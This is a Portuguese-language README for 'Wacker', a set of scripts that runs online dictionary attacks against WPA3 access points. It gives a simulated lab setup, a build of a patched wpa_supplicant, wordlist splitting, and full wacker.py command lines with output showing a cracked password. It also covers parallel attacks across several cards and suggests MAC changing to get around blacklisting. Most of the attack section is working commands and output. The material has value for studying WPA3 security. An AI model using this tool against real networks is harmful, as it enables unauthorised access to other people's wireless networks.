
Um quebrador de dicionário WPA3
Um conjunto de scripts para ajudar a realizar um ataque de dicionário online contra um ponto de acesso WPA3. O Wacker utiliza a interface de controle do wpa_supplicant para controlar as operações do daemon do supplicant e obter informações de status e notificações de eventos, ajudando, em última análise, a acelerar as tentativas de conexão durante ataques de força bruta.
Em vez de encontrar um AP WPA3 para testes, considere configurar um ambiente local usando mac80211_hwsim (detalhes abaixo) ou usando as VMs fornecidas pelo RF Hackers Sanctuary (scoreboard.rfhackers.com).
Para configurar seu próprio simulador de software de rádios 802.11, basta configurar e carregar o módulo mac80211_hwsim correto.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Escolha uma das novas interfaces como seu ponto de acesso WPA3 e use o seguinte arquivo de configuração.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
E inicie o hostapd com
# hostapd -K -dd hostapd.conf
Se você pretende distribuir seus esforços de cracking em uma série de placas de rede, o script split.sh fornecido irá particionar uma wordlist para você.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
Estamos fornecendo nosso próprio wpa_supplicant para garantir que certas configurações sejam definidas, bem como algumas modificações que precisam ocorrer no próprio código-fonte.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
python3.6+ é necessário
O Wacker deve ser visto como uma ferramenta complementar ao airodump ou kismet, onde a seleção de alvo já é realizada. O Wacker desativa intencionalmente a varredura em segundo plano com o wpa_supplicant para ajudar a acelerar as tentativas de autenticação.
O script wacker.py tem a intenção de realizar todo o trabalho pesado e requer algumas especificidades sobre o alvo.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
Com sorte... executando o ataque usando apenas uma instância...
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
Executar várias instâncias do wacker é fácil se você tiver placas de rede sobressalentes. Não se esqueça de particionar a wordlist.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
O wacker é bastante verboso. Arquivos de interesse são encontrados em /tmp/wacker/
O wacker não lida com ACLs colocadas pelo AP WPA3 de destino. Isso significa que o código atual sempre usa o mesmo endereço MAC. Se o AP de destino colocar nosso endereço MAC na lista negra, o script não diferenciará entre uma falha de autenticação real e nosso MAC na lista negra sendo rejeitado. Isso significa que consideraremos a senha verdadeira como uma falha. Uma maneira de resolver... teríamos que adicionar o macchanger ao código-fonte, às custas de uma desaceleração.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites